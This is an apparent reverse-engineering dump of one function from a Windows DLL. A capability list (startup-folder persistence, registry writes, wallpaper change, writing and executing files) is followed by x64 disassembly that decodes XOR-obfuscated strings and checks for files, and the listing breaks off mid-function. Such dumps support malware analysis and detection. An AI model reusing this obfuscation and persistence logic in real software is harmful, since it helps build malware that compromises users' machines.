Function at 0x180025950
Capabilities:
Change the wallpaper
Check if file exists
Create directory
Create process on windows
Get common file path
Get file attributes
Get startup folder
Set registry value
Terminate process
Write and execute a file
Write file on windows
Write file to startup folder

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
mov eax, 0xde00
call fcn.18012d210
sub rsp, rax
lea rbp, [rsp + 0x60]
and rbp, 0xffffffffffffffe0
mov rax, qword [0x180167010]
xor rax, rsp
mov qword [rbp + 0xdd80], rax
mov dword [rbp + 0x18], 0
call fcn.180004e10
mov ecx, 0xfa
call fcn.180006fc0
test eax, eax
je 0x1800259b5
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_ExitProcess]
xor eax, eax
mov byte [rbp + 0x2f1], al
mov byte [rbp + 0x35], al
movabs rax, 0xf9494ff8cfe9228c
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xf00], rax
movabs rax, 0x3b84fec56b371885
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xf08], rax
movabs rax, 0xfb38a9272c41eb24
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xf10], rax
movabs r14, 0xa617ae62e43774a8
mov qword [rbp + 8], r14
mov rax, qword [rbp + 8]
mov qword [rbp + 0xf18], rax
movabs r15, 0x897c1899bbbb75dd
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0xd560], rax
movabs rdi, 0x4dd6a69c12652be6
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0xd568], rax
movabs r12, 0xfb38a927117c8c47
mov qword [rbp + 8], r12
mov rax, qword [rbp + 8]
mov qword [rbp + 0xd570], rax
mov qword [rbp + 8], r14
mov rax, qword [rbp + 8]
mov qword [rbp + 0xd578], rax
vmovdqu ymm0, ymmword [rbp + 0xf00]
vpxor ymm1, ymm0, ymmword [rbp + 0xd560]
vmovdqa ymmword [rbp + 0xf00], ymm1
lea rdx, [rbp + 0xf00]
lea rcx, [rbp + 0x5730]
vzeroupper
call fcn.180004520
nop
mov dword [rbp + 0x18], 1
xor eax, eax
mov byte [rbp + 0x36], al
mov byte [rbp + 0x37], al
movabs r13, 0xe14973fad7f52d8b
mov qword [rbp + 8], r13
mov rax, qword [rbp + 8]
mov qword [rbp + 0x450], rax
movabs rax, 0x4dd6a69c2f307c84
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x458], rax
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0xae60], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0xae68], rax
movdqa xmm0, xmmword [rbp + 0x450]
pxor xmm0, xmmword [rbp + 0xae60]
movdqa xmmword [rbp + 0x450], xmm0
lea rdx, [rbp + 0x450]
lea rcx, [rbp + 0x5750]
call fcn.180004520
nop
mov dword [rbp + 0x18], 3
lea rdx, [rbp + 0x5730]
lea rcx, [rbp + 0x8e20]
call fcn.1800553f0
mov rbx, rax
mov dword [rbp + 0x18], 7
lea rdx, [rbp + 0x5750]
lea rcx, [rbp + 0x8e00]
call fcn.1800553f0
nop
mov dword [rbp + 0x18], 0xf
mov rdx, rax
lea rcx, [rbp + 0x8de0]
call fcn.180007160
nop
mov esi, 0x1f
mov dword [rbp + 0x18], esi
mov rdx, rbx
mov rcx, rax
call fcn.180042210
test al, al
jne 0x180025d06
xor eax, eax
mov byte [rbp + 0x38], al
mov byte [rbp + 0x39], al
movabs rax, 0xb4484ff8cfe9228c
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x460], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x468], rax
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0xae50], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0xae58], rax
movdqa xmm0, xmmword [rbp + 0x460]
pxor xmm0, xmmword [rbp + 0xae50]
movdqa xmmword [rbp + 0x460], xmm0
lea rdx, [rbp + 0x460]
lea rcx, [rbp + 0x5770]
call fcn.180004520
nop
mov dword [rbp + 0x18], 0x3f
xor eax, eax
mov byte [rbp + 0x3a], al
mov byte [rbp + 0x3b], al
mov qword [rbp + 8], r13
mov rax, qword [rbp + 8]
mov qword [rbp + 0x470], rax
movabs rax, 0x4dd6a69c2f307c84
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x478], rax
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0xae40], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0xae48], rax
movdqa xmm0, xmmword [rbp + 0x470]
pxor xmm0, xmmword [rbp + 0xae40]
movdqa xmmword [rbp + 0x470], xmm0
lea rdx, [rbp + 0x470]
lea rcx, [rbp + 0x5790]
call fcn.180004520
nop
mov dword [rbp + 0x18], 0x7f
lea rdx, [rbp + 0x5770]
lea rcx, [rbp + 0x8dc0]
call fcn.1800553f0
mov rbx, rax
mov dword [rbp + 0x18], 0xff
lea rdx, [rbp + 0x5790]
lea rcx, [rbp + 0x8da0]
call fcn.1800553f0
nop
mov dword [rbp + 0x18], 0x1ff
mov rdx, rax
lea rcx, [rbp + 0x8d80]
call fcn.180007160
mov esi, 0x3ff
mov dword [rbp + 0x18], esi
mov rdx, rbx
mov rcx, rax
call fcn.180042210
test al, al
jne 0x180025d06
mov bl, 1
jmp 0x180025d08
xor bl, bl
bt esi, 9
jae 0x180025d22
btr esi, 9
mov dword [rbp + 0x18], esi
lea rcx, [rbp + 0x8d80]
call fcn.180040870
nop
bt esi, 8
jae 0x180025d3c
btr esi, 8
mov dword [rbp + 0x18], esi
lea rcx, [rbp + 0x8da0]
call fcn.180040870
nop
test sil, sil
jns 0x180025d55
btr esi, 7
mov dword [rbp + 0x18], esi
lea rcx, [rbp + 0x8dc0]
call fcn.180040870
nop
test sil, 0x40
je 0x180025d6e
and esi, 0xffffffbf
mov dword [rbp + 0x18], esi
lea rcx, [rbp + 0x5790]
call fcn.180040870
nop
test sil, 0x20
je 0x180025d87
and esi, 0xffffffdf
mov dword [rbp + 0x18], esi
lea rcx, [rbp + 0x5770]
call fcn.180040870
nop
test sil, 0x10
je 0x180025da0
and esi, 0xffffffef
mov dword [rbp + 0x18], esi
lea rcx, [rbp + 0x8de0]
call fcn.180040870
nop
test sil, 8
je 0x180025db9
and esi, 0xfffffff7
mov dword [rbp + 0x18], esi
lea rcx, [rbp + 0x8e00]
call fcn.180040870
nop
test sil, 4
je 0x180025dd2
and esi, 0xfffffffb
mov dword [rbp + 0x18], esi
lea rcx, [rbp + 0x8e20]
call fcn.180040870
nop
test sil, 2
je 0x180025deb
and esi, 0xfffffffd
mov dword [rbp + 0x18], esi
lea rcx, [rbp + 0x5750]
call fcn.180040870
nop
test sil, 1
je 0x180025e03
and esi, 0xfffffffe
mov dword [rbp + 0x18], esi
lea rcx, [rbp + 0x5730]
call fcn.180040870
test bl, bl
je 0x1800266ca
movabs r13, 0x14225300d2a7466a
movabs rbx, 0x284ee4f6edcbf52c
movabs rsi, 0x3baf30ed0152cd11
nop dword [rax]
call fcn.180023a70
test al, al
je 0x180025e30
lea rdx, [rbp + 0xda50]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
xor eax, eax
mov byte [rbp + 0x3c], al
mov byte [rbp + 0x3d], al
movabs rax, 0xb4482afbc1cb1891
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x480], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x488], rax
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0xae30], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0xae38], rax
movdqa xmm0, xmmword [rbp + 0x480]
pxor xmm0, xmmword [rbp + 0xae30]
movdqa xmmword [rbp + 0x480], xmm0
lea rdx, [rbp + 0x480]
lea rcx, [rbp + 0x56f0]
call fcn.180004520
nop
xor eax, eax
mov byte [rbp + 0x3e], al
mov byte [rbp + 0x3f], al
movabs rax, 0xff135cfa8be93dbc
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2660], rax
movabs rax, 0x79bdccd0210251aa
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2668], rax
movabs rax, 0x820cea6a2039e60b
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2670], rax
movabs rax, 0xd156ea2cd25430e6
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2678], rax
movabs rax, 0x8e978b7771f995f
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2680], rax
movabs rax, 0x254e3962b9f17527
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2688], rax
movabs rax, 0xdde4e7dfbed8e06f
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2690], rax
movabs rax, 0x5f76a3acdef2a275
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2698], rax
movabs rax, 0x9b1fb9e1df544d3c
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x26a0], rax
movabs rcx, 0xb3624cf4761f2d2e
mov qword [rbp + 8], rcx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x26a8], rax
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0xba80], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0xba88], rax
mov qword [rbp + 8], r12
mov rax, qword [rbp + 8]
mov qword [rbp + 0xba90], rax
mov qword [rbp + 8], r14
mov rax, qword [rbp + 8]
mov qword [rbp + 0xba98], rax
mov qword [rbp + 8], rsi
mov rax, qword [rbp + 8]
mov qword [rbp + 0xbaa0], rax
mov qword [rbp + 8], r13
mov rax, qword [rbp + 8]
mov qword [rbp + 0xbaa8], rax
movabs rax, 0xe9ddb3bbd3b0d20b
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xbab0], rax
mov qword [rbp + 8], rbx
mov rax, qword [rbp + 8]
mov qword [rbp + 0xbab8], rax
movabs rax, 0xa622e8b1ab061a65
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xbac0], rax
mov qword [rbp + 8], rcx
mov rax, qword [rbp + 8]
mov qword [rbp + 0xbac8], rax
vmovdqu ymm0, ymmword [rbp + 0x2660]
vpxor ymm1, ymm0, ymmword [rbp + 0xba80]
vmovdqa ymmword [rbp + 0x2660], ymm1
vmovdqu ymm0, ymmword [rbp + 0x2680]
vpxor ymm1, ymm0, ymmword [rbp + 0xbaa0]
vmovdqa ymmword [rbp + 0x2680], ymm1
vmovdqa xmm0, xmmword [rbp + 0x26a0]
vpxor xmm0, xmm0, xmmword [rbp + 0xbac0]
vmovdqa xmmword [rbp + 0x26a0], xmm0
lea rdx, [rbp + 0x2660]
lea rcx, [rbp + 0x5710]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x56f0]
lea rcx, [rbp + 0x8ea0]
call fcn.1800553f0
mov rbx, rax
lea rdx, [rbp + 0x5710]
lea rcx, [rbp + 0x8e80]
call fcn.1800553f0
nop
lea r8, [0x1801673e8]
mov rdx, rax
lea rcx, [rbp + 0x8e60]
call fcn.180041f40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x8e40]
call fcn.180041fa0
nop
mov rdx, rax
lea rcx, [rbp + 0xa318]
call fcn.180005a00
nop
lea rcx, [rbp + 0x8e40]
call fcn.180040870
nop
lea rcx, [rbp + 0x8e60]
call fcn.180040870
nop
lea rcx, [rbp + 0x8e80]
call fcn.180040870
nop
lea rcx, [rbp + 0x8ea0]
call fcn.180040870
nop
lea rcx, [rbp + 0x5710]
call fcn.180040870
nop
lea rcx, [rbp + 0x56f0]
call fcn.180040870
xor eax, eax
mov byte [rbp + 0x40], al
mov byte [rbp + 0x41], al
movabs rax, 0xb44159facbcf4788
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x490], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x498], rax
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0xae20], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0xae28], rax
movdqa xmm0, xmmword [rbp + 0x490]
pxor xmm0, xmmword [rbp + 0xae20]
movdqa xmmword [rbp + 0x490], xmm0
lea rdx, [rbp + 0x490]
lea rcx, [rbp + 0x56d0]
call fcn.180004520
nop
lea rdx, [rbp + 0x56d0]
lea rcx, [rbp + 0x8ec0]
call fcn.1800553f0
nop
mov rdx, rax
lea rcx, [rbp + 0xa318]
call fcn.180006130
movzx ebx, al
lea rcx, [rbp + 0x8ec0]
call fcn.180040870
nop
lea rcx, [rbp + 0x56d0]
call fcn.180040870
test bl, bl
je 0x180026735
xor eax, eax
mov byte [rbp + 0x42], al
mov byte [rbp + 0x43], al
movabs rax, 0x895218eebbda75af
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x23a0], rax
movabs rax, 0x4dbea6e8120c2b81
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x23a8], rax
movabs rax, 0xfb4ba952111e8c32
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x23b0], rax
movabs rax, 0xa678ae01e44574cd
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x23b8], rax
movabs rax, 0x3bc130880126cd7f
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x23c0], rax
movabs rax, 0x144d5363d289461e
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x23c8], rax
movabs rax, 0xe9ddb3bbd3b0d266
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x23d0], rax
movabs rbx, 0x284ee4f6edcbf52c
mov qword [rbp + 8], rbx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x23d8], rax
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0xd180], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0xd188], rax
mov qword [rbp + 8], r12
mov rax, qword [rbp + 8]
mov qword [rbp + 0xd190], rax
mov qword [rbp + 8], r14
mov rax, qword [rbp + 8]
mov qword [rbp + 0xd198], rax
mov qword [rbp + 8], rsi
mov rax, qword [rbp + 8]
mov qword [rbp + 0xd1a0], rax
mov qword [rbp + 8], r13
mov rax, qword [rbp + 8]
mov qword [rbp + 0xd1a8], rax
movabs rax, 0xe9ddb3bbd3b0d20b
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xd1b0], rax
mov qword [rbp + 8], rbx
mov rax, qword [rbp + 8]
mov qword [rbp + 0xd1b8], rax
vmovdqu ymm0, ymmword [rbp + 0x23a0]
vpxor ymm1, ymm0, ymmword [rbp + 0xd180]
vmovdqa ymmword [rbp + 0x23a0], ymm1
vmovdqu ymm0, ymmword [rbp + 0x23c0]
vpxor ymm1, ymm0, ymmword [rbp + 0xd1a0]
vmovdqa ymmword [rbp + 0x23c0], ymm1
lea rdx, [rbp + 0x23a0]
lea rcx, [rbp + 0xa718]
vzeroupper
call fcn.180040420
nop
xor eax, eax
mov byte [rbp + 0x44], al
mov byte [rbp + 0x45], al
movabs rax, 0x894c18abbbdd75f2
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x26c0], rax
movabs rax, 0x4db7a6fd12012bdf
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x26c8], rax
movabs rax, 0xfb17a950110a8c20
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x26d0], rax
movabs rax, 0xa67eae0de45274df
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x26d8], rax
movabs rax, 0x3b96309a013ccd77
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x26e0], rax
movabs rax, 0x144f532fd2c6460c
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x26e8], rax
movabs rax, 0xe9f2b3d5d3d9d26a
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x26f0], rax
movabs rax, 0x282be499edadf548
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x26f8], rax
movabs rax, 0xa612e8deab601a12
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2700], rax
movabs rax, 0xb3624c8c766e2d59
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2708], rax
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0xbae0], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0xbae8], rax
mov qword [rbp + 8], r12
mov rax, qword [rbp + 8]
mov qword [rbp + 0xbaf0], rax
mov qword [rbp + 8], r14
mov rax, qword [rbp + 8]
mov qword [rbp + 0xbaf8], rax
mov qword [rbp + 8], rsi
mov rax, qword [rbp + 8]
mov qword [rbp + 0xbb00], rax
mov qword [rbp + 8], r13
mov rax, qword [rbp + 8]
mov qword [rbp + 0xbb08], rax
movabs rax, 0xe9ddb3bbd3b0d20b
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xbb10], rax
mov qword [rbp + 8], rbx
mov rax, qword [rbp + 8]
mov qword [rbp + 0xbb18], rax
movabs rax, 0xa622e8b1ab061a65
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xbb20], rax
movabs rax, 0xb3624cf4761f2d2e
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xbb28], rax
vmovdqu ymm0, ymmword [rbp + 0x26c0]
vpxor ymm1, ymm0, ymmword [rbp + 0xbae0]
vmovdqa ymmword [rbp + 0x26c0], ymm1
vmovdqu ymm0, ymmword [rbp + 0x26e0]
vpxor ymm1, ymm0, ymmword [rbp + 0xbb00]
vmovdqa ymmword [rbp + 0x26e0], ymm1
vmovdqa xmm0, xmmword [rbp + 0x2700]
vpxor xmm0, xmm0, xmmword [rbp + 0xbb20]
vmovdqa xmmword [rbp + 0x2700], xmm0
lea rdx, [rbp + 0x26c0]
lea rcx, [rbp + 0xa6f8]
vzeroupper
call fcn.180040420
nop
lea r8, [rbp + 0xa6f8]
lea rdx, [rbp + 0xa718]
lea rcx, [rbp + 0xa6d8]
call fcn.180024bf0
nop
lea rcx, [rbp + 0xa670]
call fcn.180023650
nop
lea rcx, [rbp + 0xaca0]
call fcn.1800241d0
lea rcx, [rbp + 0xa670]
call fcn.1800407c0
mov rbx, rax
lea rcx, [rbp + 0xa670]
call fcn.18003dd10
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0xaca0]
call fcn.180024220
lea rdx, [rbp + 0xa6b8]
lea rcx, [rbp + 0xaca0]
call fcn.1800243f0
nop
lea rdx, [rbp + 0xa6b8]
lea rcx, [rbp + 0xa6d8]
call fcn.1800254c0
nop
lea rcx, [rbp + 0xa6b8]
test al, al
je 0x1800266fc
call fcn.180040870
nop
lea rcx, [rbp + 0xa670]
call fcn.180040870
nop
lea rcx, [rbp + 0xa6d8]
call fcn.180040870
nop
lea rcx, [rbp + 0xa6f8]
call fcn.180002130
nop
lea rcx, [rbp + 0xa718]
call fcn.180002130
nop
lea rcx, [rbp + 0xa318]
call fcn.180040870
xor eax, eax
mov rcx, qword [rbp + 0xdd80]
xor rcx, rsp
call fcn.18012be40
lea r11, [rsp + 0xde00]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.180040870
nop
lea rcx, [rbp + 0xa670]
call fcn.180040870
nop
lea rcx, [rbp + 0xa6d8]
call fcn.180040870
nop
lea rcx, [rbp + 0xa6f8]
call fcn.180002130
nop
lea rcx, [rbp + 0xa718]
call fcn.180002130
xor eax, eax
mov byte [rbp + 0x46], al
mov byte [rbp + 0x47], al
movabs rax, 0xf0455ffdc1d7328e
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x4a0], rax
movabs rax, 0x4dd6a69c2f587a83
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x4a8], rax
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0xae10], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0xae18], rax
movdqa xmm0, xmmword [rbp + 0x4a0]
pxor xmm0, xmmword [rbp + 0xae10]
movdqa xmmword [rbp + 0x4a0], xmm0
lea rdx, [rbp + 0x4a0]
lea rcx, [rbp + 0x56b0]
call fcn.180004520
nop
lea rdx, [rbp + 0x56b0]
lea rcx, [rbp + 0x8ee0]
call fcn.1800553f0
nop
mov rdx, rax
lea rcx, [rbp + 0xa318]
call fcn.180006130
test al, al
setne byte [rbp + 0x2d]
lea rcx, [rbp + 0x8ee0]
call fcn.180040870
nop
lea rcx, [rbp + 0x56b0]
call fcn.180040870
call fcn.180004e10
xor eax, eax
mov byte [rbp + 0x48], al
mov byte [rbp + 0x49], al
movabs rax, 0xff182bfac1fd3288
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x4b0], rax
movabs rax, 0x4dd6a69c68374685
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x4b8], rax
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0xae00], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0xae08], rax
movdqa xmm0, xmmword [rbp + 0x4b0]
pxor xmm0, xmmword [rbp + 0xae00]
movdqa xmmword [rbp + 0x4b0], xmm0
lea rdx, [rbp + 0x4b0]
lea rcx, [rbp + 0x5690]
call fcn.180004520
nop
lea rdx, [rbp + 0x5690]
lea rcx, [rbp + 0x8f00]
call fcn.1800553f0
nop
mov rdx, rax
lea rcx, [rbp + 0xa318]
call fcn.180006130
test al, al
setne byte [rbp + 0x2e]
lea rcx, [rbp + 0x8f00]
call fcn.180040870
nop
lea rcx, [rbp + 0x5690]
call fcn.180040870
call fcn.180004e10
call fcn.180004e10
xor eax, eax
mov byte [rbp + 0x4a], al
mov byte [rbp + 0x4b], al
movabs rax, 0xe5102af8cd82478c
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x3d0], rax
movabs rax, 0x4dd6a69c2f585c85
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x3d8], rax
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0xadf0], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0xadf8], rax
movdqa xmm0, xmmword [rbp + 0x3d0]
pxor xmm0, xmmword [rbp + 0xadf0]
movdqa xmmword [rbp + 0x3d0], xmm0
lea rdx, [rbp + 0x3d0]
lea rcx, [rbp + 0x5670]
call fcn.180004520
nop
lea rdx, [rbp + 0x5670]
lea rcx, [rbp + 0x8f20]
call fcn.1800553f0
nop
mov rdx, rax
lea rcx, [rbp + 0xa318]
call fcn.180006130
test al, al
setne byte [rbp + 0x2f]
lea rcx, [rbp + 0x8f20]
call fcn.180040870
nop
lea rcx, [rbp + 0x5670]
call fcn.180040870
call fcn.180004e10
xor eax, eax
mov byte [rbp + 0x4c], al
mov byte [rbp + 0x4d], al
movabs rax, 0xe5145ffdd3ed188f
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x4d0], rax
movabs rax, 0x4dd6a69c2f584c85
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x4d8], rax
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0xade0], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0xade8], rax
movdqa xmm0, xmmword [rbp + 0x4d0]
pxor xmm0, xmmword [rbp + 0xade0]
movdqa xmmword [rbp + 0x4d0], xmm0
lea rdx, [rbp + 0x4d0]
lea rcx, [rbp + 0x5650]
call fcn.180004520
nop
lea rdx, [rbp + 0x5650]
lea rcx, [rbp + 0x8f40]
call fcn.1800553f0
nop
mov rdx, rax
lea rcx, [rbp + 0xa318]
call fcn.180006130
test al, al
setne byte [rbp + 0x23]
lea rcx, [rbp + 0x8f40]
call fcn.180040870
nop
lea rcx, [rbp + 0x5650]
call fcn.180040870
call fcn.180004e10
call fcn.180004e10
xor eax, eax
mov byte [rbp + 0x4e], al
mov byte [rbp + 0x4f], al
movabs rax, 0xb43540c0ceed3d89
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x4e0], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x4e8], rax
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0xadd0], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0xadd8], rax
movdqa xmm0, xmmword [rbp + 0x4e0]
pxor xmm0, xmmword [rbp + 0xadd0]
movdqa xmmword [rbp + 0x4e0], xmm0
lea rdx, [rbp + 0x4e0]
lea rcx, [rbp + 0x5630]
call fcn.180004520
nop
lea rdx, [rbp + 0x5630]
lea rcx, [rbp + 0x8f60]
call fcn.1800553f0
nop
mov rdx, rax
lea rcx, [rbp + 0xa318]
call fcn.180006130
test al, al
setne byte [rbp + 0x24]
lea rcx, [rbp + 0x8f60]
call fcn.180040870
nop
lea rcx, [rbp + 0x5630]
call fcn.180040870
call fcn.180004e10
xor eax, eax
mov byte [rbp + 0x50], al
mov byte [rbp + 0x51], al
movabs rax, 0xff105ffbd0fd188c
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x4f0], rax
movabs rax, 0x4dd6a69c2f584c84
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x4f8], rax
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0xadc0], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0xadc8], rax
movdqa xmm0, xmmword [rbp + 0x4f0]
pxor xmm0, xmmword [rbp + 0xadc0]
movdqa xmmword [rbp + 0x4f0], xmm0
lea rdx, [rbp + 0x4f0]
lea rcx, [rbp + 0x5610]
call fcn.180004520
nop
lea rdx, [rbp + 0x5610]
lea rcx, [rbp + 0x8f80]
call fcn.1800553f0
nop
mov rdx, rax
lea rcx, [rbp + 0xa318]
call fcn.180006130
test al, al
setne byte [rbp + 0x25]
lea rcx, [rbp + 0x8f80]
call fcn.180040870
nop
lea rcx, [rbp + 0x5610]
call fcn.180040870
call fcn.180004e10
call fcn.180004e10
xor eax, eax
mov byte [rbp + 0x52], al
mov byte [rbp + 0x53], al
movabs rax, 0xff4d4dfcd2fd3289
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x500], rax
movabs rbx, 0x4dd6a69c2f586abc
mov qword [rbp + 8], rbx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x508], rax
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0xadb0], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0xadb8], rax
movdqa xmm0, xmmword [rbp + 0x500]
pxor xmm0, xmmword [rbp + 0xadb0]
movdqa xmmword [rbp + 0x500], xmm0
lea rdx, [rbp + 0x500]
lea rcx, [rbp + 0x55f0]
call fcn.180004520
nop
lea rdx, [rbp + 0x55f0]
lea rcx, [rbp + 0x8fa0]
call fcn.1800553f0
nop
mov rdx, rax
lea rcx, [rbp + 0xa318]
call fcn.180006130
test al, al
setne byte [rbp + 0x26]
lea rcx, [rbp + 0x8fa0]
call fcn.180040870
nop
lea rcx, [rbp + 0x55f0]
call fcn.180040870
call fcn.180004e10
xor eax, eax
mov byte [rbp + 0x54], al
mov byte [rbp + 0x55], al
movabs rax, 0xe63275fb8afd3289
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xf20], rax
movabs rax, 0x20efcbff432f73bc
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xf28], rax
movabs rax, 0xc605de447d04db26
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xf30], rax
mov qword [rbp + 8], r14
mov rax, qword [rbp + 8]
mov qword [rbp + 0xf38], rax
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0xbe60], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
